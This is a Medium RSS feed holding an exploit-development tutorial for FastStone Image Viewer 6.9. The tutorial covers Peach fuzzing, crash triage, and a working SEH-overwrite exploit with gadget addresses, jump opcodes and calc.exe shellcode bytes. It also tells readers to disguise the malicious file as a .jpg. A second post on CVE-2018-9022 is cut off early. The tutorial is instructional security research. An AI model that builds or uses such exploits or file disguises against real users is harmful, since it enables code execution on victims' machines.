<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Daniel C on Medium]]></title>
        <description><![CDATA[Stories by Daniel C on Medium]]></description>
        <link>https://medium.com/@danielc7?source=rss-4e6bc3efe417------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Daniel C on Medium</title>
            <link>https://medium.com/@danielc7?source=rss-4e6bc3efe417------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 21:11:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@danielc7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Introduction to File Format Fuzzing & Exploitation]]></title>
            <link>https://danielc7.medium.com/introduction-to-file-format-fuzzing-exploitation-922143ab2ab3?source=rss-4e6bc3efe417------2</link>
            <guid isPermaLink="false">https://medium.com/p/922143ab2ab3</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[Daniel C]]></dc:creator>
            <pubDate>Mon, 04 Mar 2019 16:17:55 GMT</pubDate>
            <atom:updated>2021-02-01T14:31:22.994Z</atom:updated>
            <content:encoded><![CDATA[<p>This post will explain the process of finding and exploiting a previously unknown vulnerability in a real-world piece of software to achieve code execution. The vulnerability was initially found in 2016 and the vendor was contacted however no response was ever received. Now several years later (March 2019 at time of writing), the vulnerability still exists in the latest version.</p><p>Please note that this post is supposed to serve as a basic introduction to file format fuzzing, I’m fully aware that the fuzzing methods used in this post are somewhat outdated. Also, if you think I have explained something badly or something is completely incorrect then please let me know.</p><p>-Daniel</p><h3>tl;dr</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F321216115%3Fapp_id%3D122963&amp;dntp=1&amp;url=https%3A%2F%2Fvimeo.com%2F321216115&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F763857464_960.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=vimeo" width="960" height="720" frameborder="0" scrolling="no"><a href="https://medium.com/media/98dd238300d307ad0bf62b98c6a0e3e3/href">https://medium.com/media/98dd238300d307ad0bf62b98c6a0e3e3/href</a></iframe><h3><strong>The Target</strong></h3><p>FastStone Image Viewer 6.9 — <a href="http://www.faststone.org/FSViewerDetail.htm">http://www.faststone.org/FSViewerDetail.htm</a></p><p>Never heard of it? Me neither, however for some reason it has 13.8 million downloads on CNET. Additionally, the application has been hosted on its own website for the last few years, so the total number of downloads is likely much higher.</p><h3><strong>What you will need</strong></h3><ul><li>32bit Windows Windows 7 Virtual machine</li><li><a href="http://www.faststonesoft.net/DN/FSViewerSetup69.exe">FastStone Image Viewer 6.9</a></li><li><a href="http://www.windbg.org/">Windb</a>g</li><li><a href="https://dotnet.microsoft.com/download/dotnet-framework-runtime/net472">.NET Framework 4</a></li><li><a href="https://www.immunityinc.com/products/debugger/">Immunity Debugger</a></li><li><a href="https://www.peach.tech/resources/peachcommunity/">Peach Community Edition v3</a></li><li><a href="https://www.sweetscape.com/download/010editor/">010 Editor</a></li><li>Text Editor of your choice</li><li><a href="https://mega.nz/file/6UNUWSpb#_lRItjz7AXKcFe78FlEpUkzCOjJHnt9L1BVKPgEDSWk">fuzz.zip</a> Containing Config/Sample/Crash files for Peach. I have also included a copy of FSViewer in case the FastStone site goes down in the future.</li></ul><h3><strong>Fuzzing</strong></h3><blockquote>“Fuzz testing or fuzzing is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.” — OWASP</blockquote><p>File format fuzzing is relatively simple. You provide your fuzzer with a legitimate file sample, the fuzzer then repeatedly mutates the sample and opens it in the target application. If the target application crashes, something has obviously gone wrong and the mutated file is saved to be reviewed at a later date. As the original file doesn’t crash the application but your mutated file does, it is possible you have some sort of control over this crash. If you can control what is read/written/executed in memory, you may be able to take control over application flow. If you control the application flow you can make the application do things it is not supposed to.</p><h3><strong>Configuring the Fuzzing VM</strong></h3><p>The fuzzing framework we will be using is Peach Community Edition. It’s a bit outdated but should be fine for a basic introduction.</p><p><strong>Step 1) Install everything</strong></p><p>Once you have a Windows 7 VM set up, install all the tools listed above and extract fuzz.zip onto the desktop. Fuzz.zip will contain the following files:</p><ul><li>FSViewerSetup69.exe — A backup copy of FSViewer in case their site goes down in the future;</li><li>Sample.cur — This is your test case, when running, peach will select this file, mutate it, and open it within FSViewer;</li><li>Cur.xml — This is your peach “pit” file. This is used to configure the peach framework;</li><li>Crash.cur — This is the original crash that Peach found;</li><li>ExploitFinal.jpg — The Proof of Concept exploit you should have at the end of this post.</li></ul><p><strong>Step 2)</strong> <strong>Configure Peach</strong></p><p>Configuring peach requires a bit more work:</p><ul><li>After downloading, right click the zip folder, select properties, and click “unblock” (Not everyone will have to do this);</li><li>Extract all files and copy them to C:\peach;</li><li>Create a folder called samples_cur (C:\peach\samples_cur);</li><li>Move sample.cur (from fuzz.zip) into C:\Peach\samples_cur\;</li><li>Move cur.xml (from fuzz.zip) into C:\Peach\;</li><li>Edit cur.xml and make any necessary changes.</li></ul><p>I have commented the important lines of cur.xml, as such everything should be self-explanatory.</p><p><strong>Step 3)</strong> <strong>Test Peach</strong></p><p>You can test your Peach Pit has been configured correctly by opening cmd.exe (as an administrator), and running the following commands:</p><pre>C:\Windows\System32&gt; cd c:\peach</pre><pre>C:\Peach&gt; peach -1 cur.xml</pre><p>Hopefully you should see FSViewer open our sample.cur file once and then close. Assuming this is successful you may wish to disable your network adaptor for the VM. Some software automatically sends crash reports to the vendor. As vulnerabilities these days have a monetary value and clear legal methods exist to sell them, you may not wish to disclose the vulnerabilities directly to the vendor. 😊</p><p><strong>Step 4) Running peach</strong></p><p>To start fuzzing, Open cmd.exe as an administrator and execute the following commands:</p><pre>C:\Windows\System32&gt; cd c:\peach</pre><pre>C:\Peach&gt; peach cur.xml</pre><p>Peach should begin opening mutated files in (relatively) quick succession. There are a number of steps you can take to speed up fuzzing with peach. I usually set the desktop to a blank background, reduce visual effects for the machine (Right click “My Computer&quot; &gt; Properties &gt; Advance System Settings &gt; Select the &quot;Advanced&quot; tab &gt; Performance Settings &gt; Adjust for best performance), and kill explorer.exe. If you wish to start explorer again you can ctrl+alt+del and start ‘explorer’ as a new task).</p><p>Unfortunately the biggest bottleneck with this rig is probably the Peach Framework itself. By design Peach opens the target application, mutates a file, loads the mutated, waits to see if it crashes, and then closes the target application. Obviously, a lot of CPU cycles are wasted opening and closing the application, instead of opening multiple mutated files into the existing process. You’re also probably wondering why I chose to fuzz the cursor (.cur) file type as surely no one would trust such a random file extension? Firstly, I made the assumption that if people have targeted this software before, it was probably JPEG/BMP/GIF/other common image types, so rare image formats may be more fruitful for bugs, additionally most applications don’t use the file extension to identify file types, they use <a href="https://asecuritysite.com/forensics/magic">magic numbers</a>, and fortunately for us FastStone image viewer is no different. We can rename our file to a more trustworthy extension such as .jpg and FastStone will still execute the file as a cursor and our exploit will be triggered all the same.</p><h3><strong>Reviewing our Crash</strong></h3><p>After a few hours of fuzzing you will probably have quite a few unique crashes. By default peach uses a windbg extension called !exploitable to triage vulnerabilities into unique crashes (You can find this at C:\Peach\Debuggers\DebugEngine\MSEC). !Exploitable marks crashes as ‘exploitable’, ‘probably exploitable’, ‘unknown’, and ‘probably not exploitable’. Whilst these are useful for separating different unique crashes. The ratings should be completely ignored. !exploitable only looks at the first crash and the events leading up to it, it does not look at what happens after the exception or even later exceptions. For example, the first exception may be a read access violation and !exploitable will mark this as ‘probably not exploitable’ or ‘unknown’, however skipping this exception manually may result in a later exception where the instruction pointer (EIP) is overwritten with user controllable data (Clearly exploitable).</p><p>After reviewing the descriptions for each crash I came across the following that !exploitable has rated ‘UNKNOWN’. A sample of this crash (crash.cur) may be found in fuzz.zip:</p><pre>First chance exceptions are reported before any exception handling.<br>eax=1101ffff ebx=0048189c ecx=75dc9e17 edx=000005f0 esi=0048189c edi=05e2afb4</pre><pre>eip=005ac745 esp=0012f4e0 ebp=0012f988 iopl=0 nv up ei pl nz ac po cy</pre><pre>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210213</pre><pre>image00400000+0x1ac745:</pre><pre>005ac745 8b00 <strong>mov eax,dword ptr [eax]</strong> ds:0023:<strong>1101ffff=????????</strong></pre><p>As you can see it’s a read access violation (It’s trying to read from the address 1101ffff, into EAX ). Assuming we have some sort of control over the 1101ffff value, we may be able to get our own address moved into EAX. We then have to follow the execution of the application to see if this is later used for something potentially exploitable. If this were a more worthy target or I didn’t have numerous other crashes to review, I may be willing to look more into this crash, but for FastStone Image Viewer™ I am not. As mentioned before, !exploitable only looks at the first exception and the events leading up to it. So let’s load this into a debugger and open our crash file. We can skip this first exception and see if anything more interesting occurs later on.</p><p>FSViewer comes with a file browser to select images, if you have more than one crash file in a directory it may automatically crash on one of them when opening the directory, to avoid this I opted to use the command line to select specific files:</p><pre>C:\Program Files\Debugging Tools for Windows (x86)&gt;windbg “C:\Program Files\FastStone Image Viewer\FSViewer.exe” “C:\Documents and Settings\Daniel\Desktop\crash.cur”</pre><p>Once windbg has loaded, type ‘g’ and press enter to run the application (alternatively hit F5). It should first break at the read access violation mentioned above. We wish to skip this so type ‘g’ (or f5) again to continue running.</p><pre>005ac745 8b00 mov eax,dword ptr [eax] ds:0023:1101ffff=????????</pre><pre>0:000&gt; g</pre><pre>First chance exceptions are reported before any exception handling.</pre><pre>eax=00000000 ebx=00000000 ecx=1111110f edx=776d6d1d esi=00000000 edi=00000000</pre><pre><strong>eip=1111110f</strong> esp=0012ef98 ebp=0012efb8 iopl=0 nv up ei pl zr na pe nc</pre><pre>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246</pre><pre><strong>1111110f ?? ???</strong></pre><p>As we can see the value for the EIP register has been overwritten by 1111110f. The EIP register contains the address of the next instruction to be executed. This means a mutation our fuzzer made to sample.cur has resulted in EIP pointing somewhere it should not. Perhaps we have some sort of control of this EIP value? This is definitely more interesting than the original crash. Let’s diff our two files (sample.cur and crash.cur) in 010 hex editor to see what changes the fuzzer actually made.</p><h3><strong>Mincrash</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*NSl54A5DSJ75GOcl_75lDw.png" /></figure><p>Peach has made a single change to the line beginning at 0x30. Whilst 010 editor doesn’t have a template for the .cur file format, it does have a template for the .ico format which is very similar (Simply change the the start of the file from 00 00 02 to 00 00 01). Using this we can revert the changes made by peach back to the values of sample.cur. The purpose of this is to find the minimum number of changes that still results in the same crash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*1yx6gFvy0lvUR-GIFSVZbQ.png" /></figure><p>We can see that our changes all occur within the BITMAPINFOHEADER structure. Which starts at 0x26 and ends at 0x4D. Looking closer at the file format we can see that the changes Peach made first affects biHeight:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*GavRc7DE-ikhhOskZbpEKg.png" /></figure><p>From our file diff above, we can see that the two bytes at 0x30 in sample.cur were 00 00. So let’s revert this change and test the crash again in windbg:</p><pre>eax=00000000 ebx=00000000 ecx=1111110f edx=776d6d1d esi=00000000 edi=00000000</pre><pre><strong>eip=1111110f</strong> esp=0012ef98 ebp=0012efb8 iopl=0 nv up ei pl zr na pe nc</pre><pre>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246</pre><pre><strong>1111110f ?? ???</strong></pre><p>Still the same crash. This process was repeated until it was found that we could then revert all of the changes except those to biBitCount to hit the same exception. Let’s call this file mincrash.cur:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*DzFYi4KfE-rU6s65jHFuhA.png" /></figure><h3><strong>Controlling EIP</strong></h3><p>Interestingly, the value overwriting EIP (1111110f) can be found in mincrash.cur seven times (due to endianness this will be backwards, e.g. 12345678 becomes 78563412).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*wM0Jhj9ukqBuLoLCmXd5Yw.png" /></figure><p>Let’s try overwriting them with easy to identify values such as 41414141 (hex for AAAA), 42424242 (BBBB) etc, save this file under another name EIP.cur and once again, open it in the debugger (always try and keep backups of your files at each step, it solves you attempting to revert changes later on when everything stops working!). After skipping the first exception you should see the following:</p><pre>eax=00000000 ebx=00000000 ecx=45454545 edx=776d6d1d esi=00000000 edi=00000000</pre><pre><strong>eip=45454545</strong> esp=0012ef98 ebp=0012efb8 iopl=0 nv up ei pl zr na pe nc</pre><pre>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246</pre><pre><strong>45454545 ?? ???</strong></pre><p>It looks like we have been very fortunate and have complete control of the EIP register… Excellent! Revert the other changes back to their original 0f111111 values (try and keep changes to the file minimal). Using the !exchain command we can see the current exception handler chain:</p><pre>45454545 ?? ???</pre><pre>0:000&gt; !exchain</pre><pre>0012efac: ntdll!ExecuteHandler2+3a (776d6d1d)</pre><pre><strong>0012f9a0: 45454545</strong></pre><pre><strong>Invalid exception stack at 0000f011</strong></pre><p>It looks like we are overwriting the pointer to the SE handler. If you’re not familiar with SEH based exploits, now would be a great time to read the <a href="https://www.fuzzysecurity.com/tutorials/expDev/3.html">FuzzySecurity</a> or <a href="https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/">Corelan Exploit Writing</a> tutorials. General practice for SEH based exploits is to overwrite nSEH with a jump to our shell code and overwrite SEH with a reference to a POP POP RET. So let’s try that.</p><h3><strong>POP POP RET</strong></h3><p>First of all, we must find a POP POP RET instruction sequence in either the application itself or a loaded dll. A loaded .dll file is generally preferred as they sit at a high memory address which do not contain null bytes (Depending on the root cause of the vulnerability, null bytes may break your exploit). Fortunately for us this vulnerability doesn’t seem to be affected by null bytes. Using Process Explorer we can see that the FSViewer executable does not make use of ASLR or DEP. So let’s just use a POP POP RET from FSViewer.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*ES_Wr6rtocg27x4nh8c6Wg.png" /></figure><p>To find the POP POP RET sequence we can use <a href="https://github.com/corelan/windbglib">mona.py</a>.</p><pre>0:007&gt; .load pykd.pyd</pre><pre>0:007&gt; !py mona seh</pre><pre> — — snip — -</pre><pre>[+] Results :</pre><pre><strong>0x004071e7</strong> | 0x004071e7 : <strong>pop ecx # pop ebp # ret</strong> 0x04</pre><p>So let’s overwrite our EIP with E7714000 (little endian), and save our changes to exploit.cur. From here on I will be using Immunity Debugger as I believe it is much easier to follow the exploit process visually.</p><h3><strong>Writing our Exploit</strong></h3><p>First let’s open the FSViewer binary in Immunity Debugger with an argument of our exploit.cur file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*AQTIFbAhDZb-eyh3RitLJg.png" /></figure><p>click the goto address button (subtly shown below), type the address of our POP POP RET (004071e7), and press okay. Set a break point on POP ECX (Highlight the instruction and press F2. Alternatively, you can right click &gt; Breakpoint &gt; Toggle).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/365/1*xlCMZ_lP2f2EQ5BjfsIBkA.png" /></figure><p>Now we have our break point set, we can run the program within Immunity Debugger. Due to the address we have chosen we will hit our breakpoint multiple times as FSViewer loads. Keep pressing F9 until we hit our exception ( &quot;Access violation when reading [1101ffff&quot;at the bottom of ImmDbg). To skip the exception press Shift+F9. We should now be back at our breakpoint and see our POP POP RET. Use f8 to step one instruction at a time whilst keeping an eye on the stack (bottom right). Each pop instruction will remove an address from the stack and save it into ECX and EBP respectively. Once we step over (F8) the return instruction we will return to 0x0012F9A0 (shown).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*tTwLS_947_k4kP47-JPFxw.png" /></figure><p>That ASM doesn’t look good at all… However, notice the opcodes:</p><pre>11F0</pre><pre>0000</pre><pre>E771</pre><pre>40</pre><pre>0010</pre><p>Look familiar?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*09uRk8UUaMITCpbvV56VGA.png" /></figure><p>As mentioned earlier “General practice for SEH based exploits is to overwrite nSEH with a jump to our shellcode and overwrite SEH with a reference to a POP POP RET.” So, we’ve overwritten SEH with a reference to POP POP RET which lands us at nSEH (or 0x4FE in exploit.cur). Which means we have 4 bytes spare to jump to our shellcode.</p><p>Fortunately for us, image formats are very forgiving, so we can put our shell code pretty much wherever we want provided it’s not in the header and doesn’t overwrite our POP POP RET address. I opted to use a small jump to jump over our SEH address at 0x502 , and land on the other side where we have plenty of room for our shellcode. I used a small jump of 0x26 bytes (the opcode for this is EB 25). So, let’s replace the bytes at 0x4FE with our jump opcode and save our file as exploitJmp.cur:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*Ww9MTDVDDs4_GWUfS19BkA.png" /></figure><p>Now let’s go back to ImmDbg and see this in action (Don’t forget to change the argument name to exploitJmp.cur!). Hopefully the breakpoint should still be set, if not go to 0x004071e7 and set it again. As before repeatedly hit F9 until we get to our Access Violation. Press Shift+F9 to get to our breakpoint, and step three times (f8).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*F1fhhL6je383Hccjdj2aNQ.png" /></figure><p>Instead of ADC EAX, ESI we now see JMP SHORT 0012F9C8 (opcode EB 26). Pressing F8 again you will jump 26 bytes to 0012F9C8. We now have plenty of room for our shellcode. I’ll be using a simple calc.exe shellcode comandeered from <a href="http://www.fuzzysecurity.com/tutorials/expDev/6.html">FuzzySecurity’s “Writing W32 Shellcode” tutorial</a>. I’ll also add a few NOPs at the beginning for reliability.</p><pre>&quot;\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1&quot;<br>&quot;\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf&quot;<br>&quot;\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93&quot;<br>&quot;\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1&quot;<br>&quot;\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3&quot;<br>&quot;\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6&quot;<br>&quot;\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc&quot;<br>&quot;\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f&quot;<br>&quot;\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c&quot;<br>&quot;\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12&quot;<br>&quot;\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40&quot;<br>&quot;\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f&quot;<br>&quot;\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78&quot;<br>&quot;\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5&quot;<br>&quot;\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92&quot;<br>&quot;\xb8\x7f&quot;</pre><p>After making the changes and saving our file as exploitFinal.cur our file should look like this (Tip: use Ctrl+Shift+V in 010 editor to paste as hex):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*N6bK05dqgJGIvyJO1BX2rw.png" /></figure><p>Let’s test each step one last time in ImmDbg to make sure we understand what’s going on. Skipping the access violation (Shift+F9) we land at our breakpoint. Stepping three times (F8) we land at our short jump. Stepping again we (hopefully) land in the middle of our NOPsled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*t6PB3cupyjI9K55JJ_63yQ.png" /></figure><p>After our nopsled we can see the start of our shellcode. So far so good. Hit F9 to continue execution and you should hopefully see calc.exe spawn as it did in my tl;dr video above. As previously mentioned FastStone Image viewer doesn’t rely on file extensions to identify file types, as a final step let’s rename exploitFinal.cur to a more trustworthy file type such as kitten.jpg. Who would suspect a jpeg (or a kitten)?</p><h3><strong>Root Cause Analysis</strong></h3><p>At this point you may be realising that we have managed to create a full working exploit without actually knowing anything about the underlying vulnerability (apart from it having something to do with biBitCount). In normal circumstances this lazy approach to exploit development will not work. Rarely will the EIP value be read directly from your file without some sort of modification. And on the off chance it is, overwriting values in memory (41414141, 42424242, 43434343. etc.) will either cause a different exception or force it down a separate code path that doesn’t hit our original exception. So if you only came here to see calc get popped, now is a great time to stop reading!</p><p><strong>ReadFile</strong></p><p>After a while of searching I found a call to ReadFile() at 0x0040B9F8 that appears to be reading our cursor file. ReadFile() perform 4 reads from our file before the exception occurs. The sizes of which are 0x6, 0x10, 0x28, and then 0x800 bytes. After looking at the CUR/<a href="https://en.wikipedia.org/wiki/ICO_(file_format)">ICO file format</a> the first three reads make perfect sense:</p><pre>ICONDIR Structure (0x6 bytes)</pre><pre>ICONDIRENTRY Structure (0x10 bytes)</pre><pre>BITMAPINFOHEADER Structure (0x28 bytes)</pre><p>As we know from our original file diffing , the only change is to the biBitCount within BITMAPINFOHEADER, where we changed the value from 0x0001 to 0x3089. So let’s skip to the 0x28 byte read and see what happens to our value.</p><pre>PUSH EAX ; |pBytesRead = 0012F6F8</pre><pre>PUSH EDI ; |<strong>BytesToRead = 28 (40.)</strong>   </pre><pre>PUSH ESI ; |Buffer = 0012FB20</pre><pre>PUSH EBX ; |hFile = 0000025C (window)</pre><pre><strong>CALL &lt;ReadFile&gt;</strong></pre><p>After the call to ReadFile() we can clearly see our value has been read into the buffer at 0012FB20:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*qu9jmwvnIG7buCNa10VFkA.png" /></figure><p>Stepping through the code we see that at 005AC6C4, the biBitCount value from our fuzzer( 0x3089) is read into EAX and saved at EBP-34:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*fjY1I1q8DIwqAAxamiPmQQ.png" /></figure><p>At 005AC6FD our value of 0x3089 is then read into ECX. 1 is moved into EAX, and then something interesting happens. A logical shift occurs on EAX to the left by CL bits. As we can directly control CL (currently with a value of 0x89), this results in shl 1, 89.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*0YPn1VssN5eE-dnWK0-JXg.png" /></figure><p>This results in a very large value (0x20000000000000000000000). This number is significantly larger than the maximum positive value that can be stored in a 32-bit signed integer. This obviously cannot be saved into EAX, so what does happen?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*OxnVYXIDZ6tCCeI7ztoTfQ.png" /></figure><p>Stepping over this instruction we see EAX now has a value of 0x200 which is then stored at ebp-40. Consulting the x86 guide, it can be found that:</p><blockquote>“shifts counts of greater than 31 are performed modulo 32”</blockquote><p>At 005AC72E our value of 0x200 is moved into ECX, before another shift left is performed on it, this time with a shift of 2 bits. So ECX now holds our new value of 0x800.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*J_DMLoOBv7fDUI74LI3w-Q.png" /></figure><p>Stepping into the call at 005AC73F (by pressing F7) and stepping once (F8), you will arrive at a call to 0040B9E4 step into this call too. We can now see the call to ReadFile().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*64OPbqceTPZRMyIGTiJQWg.png" /></figure><p>Looking at the parameters we can see that ReadFile() will be reading 0x800 bytes into a buffer at 0012F720. This means we can directly control the number of bytes being read into the buffer. The process looks like this:</p><pre>1. ReadFile() reads 0x28 bytes, including our controlled value of <strong>0x3089</strong> , and places it onto the stack;</pre><pre>2. Our value is then used to perform a logical shift (SHL 1, <strong>89</strong>) resulting in a controlled value of <strong>0x200</strong> being saved onto the stack;</pre><pre>3. Another SHL is performed (SHL <strong>200</strong>, 2) Resulting in a value of <strong>0x800</strong>;</pre><pre>4. This value (<strong>0x800</strong>) is then passed to ReadFile() asthe “BytesToRead” parameter;</pre><pre>5. <strong>0x800</strong> bytes are read into the buffer at 0012F720.</pre><p>If you think back to the start of this post you will also remember that the cause of the crash was due to Peach modifying biHeight from 0x0001 to 0x3089. For our non-mutated sample.cur the process would be the following:</p><pre>1. ReadFile() reads 0x28 bytes, including the 0x0001 biHeight value;</pre><pre>2. SHL 1, 01 resulting in a value of 0x02;</pre><pre>3. Another SHL is performed (SHL 02, 2) Resulting in a value of 0x08;</pre><pre>4. 0x08 is then passed to ReadFile() as the “BytesToRead” parameter;</pre><pre>5. 0x08 bytes are read into the buffer at 0012F720.</pre><p>As no bound checking appears to be going on, the buffer is likely expecting 0x08 bytes, but instead receives 0x800. So finally, let’s look at the SEH Chain before and after the call to ReadFile().</p><p>Before:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*VemtabWneY2aFuMajD4vyA.png" /></figure><p>After:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*97Xx4LF7PapYoPhRc3YFdg.png" /></figure><h3><strong>Conclusion</strong></h3><p>I like to think this post sits somewhere between the basic “Send AAAAA until EIP=414141” tutorials and the more hardcore memory corruption write ups. Obviously it’s still a basic overflow issue, but it does cover a number of things that authors often skip e.g. how the original issue was found, and the root cause of the vulnerability. I’m purely a hobbyist when it comes to memory corruption issues so I suspect there’s a number of technical errors within this post, if you do spot any issues then please contact me and i’ll try and fix them.</p><p>I hope you enjoyed my MSPaint artwork!</p><h3><strong>Refrences</strong></h3><p>If you enjoyed this post and want to read more similar write-ups then please check out the following links:</p><ul><li><a href="https://www.fuzzysecurity.com/tutorials.html">https://www.fuzzysecurity.com/tutorials.html</a></li><li><a href="https://www.corelan.be/index.php/articles/">https://www.corelan.be/index.php/articles/</a> (Exploit Writing Tutorials)</li><li><a href="https://www.corelan.be/index.php/2013/02/26/root-cause-analysis-memory-corruption-vulnerabilities/">https://www.corelan.be/index.php/2013/02/26/root-cause-analysis-memory-corruption-vulnerabilities/</a></li><li><a href="https://www.corelan.be/index.php/2013/07/02/root-cause-analysis-integer-overflows/">https://www.corelan.be/index.php/2013/07/02/root-cause-analysis-integer-overflows/</a></li><li><a href="http://www.flinkd.org/fuzzing-with-peach-part-1/">http://www.flinkd.org/fuzzing-with-peach-part-1/</a></li></ul><h3><strong>Timeline</strong></h3><ul><li>2016: Issue discovered and reported to vendor</li><li>2017: *Crickets*</li><li>2018: *Crickets*</li><li>March 2019: This blog post detailing vulnerability published</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=922143ab2ab3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Remote Code Execution — Gaining Domain Admin privileges due to a typo]]></title>
            <link>https://danielc7.medium.com/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767?source=rss-4e6bc3efe417------2</link>
            <guid isPermaLink="false">https://medium.com/p/dbf8773df767</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Daniel C]]></dc:creator>
            <pubDate>Fri, 01 Mar 2019 17:54:37 GMT</pubDate>
            <atom:updated>2021-04-19T14:35:50.282Z</atom:updated>
            <content:encoded><![CDATA[<h3>Remote Code Execution — Gaining Domain Admin due to a typo</h3><h4>CVE-2018–9022</h4><p>Firstly, apologies for the click-bait title, I did refrain from creating a custom website and logo so I believe this is a fair compromise. :)</p><p>A short time ago as part of a red team engagement I found and successfully exploited a remote code execution vulnerability that resulted in us quickly gaining high privilege access to the customers internal network. So far nothing sounds too out of the ordinary, however interestingly the root cause of this vulnerability was due to a two character typo. The advisory can be found <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-9022#:~:text=CVE%2D2018%2D9022%20Detail&amp;text=An%20authentication%20bypass%20vulnerability%20in,by%20poisoning%20a%20configuration%20file.">here</a>.</p><p><strong>Note:</strong> <em>I realise this blog post would be much better if I included some additional screenshots, however I did not want to risk accidentally revealing information about our client.</em></p><h4><strong>Enumeration</strong></h4><p>After performing some basic enumeration I found a subdomain belonging to the target organisation which proudly stated “Powered by Xceedium Xsuite”. After a bit of googling I stumbled across an <a href="https://www.exploit-db.com/exploits/37708">exploit-db article</a> containing several vulnerabilities in Xsuite, including unauthenticated command injection, reflected cross-site scripting, arbitrary file read, and a local privilege escalation vulnerability. Easy, right?</p><h4><strong>Arbitrary File Read</strong></h4><p>Unfortunately, due to the targets configuration the command injection vulnerability did not work, the privilege escalation requires prior access to the device, and where possible I wanted to avoid user interaction (so cross-site scripting is a no-no). This left us with the arbitrary file read:</p><pre><a 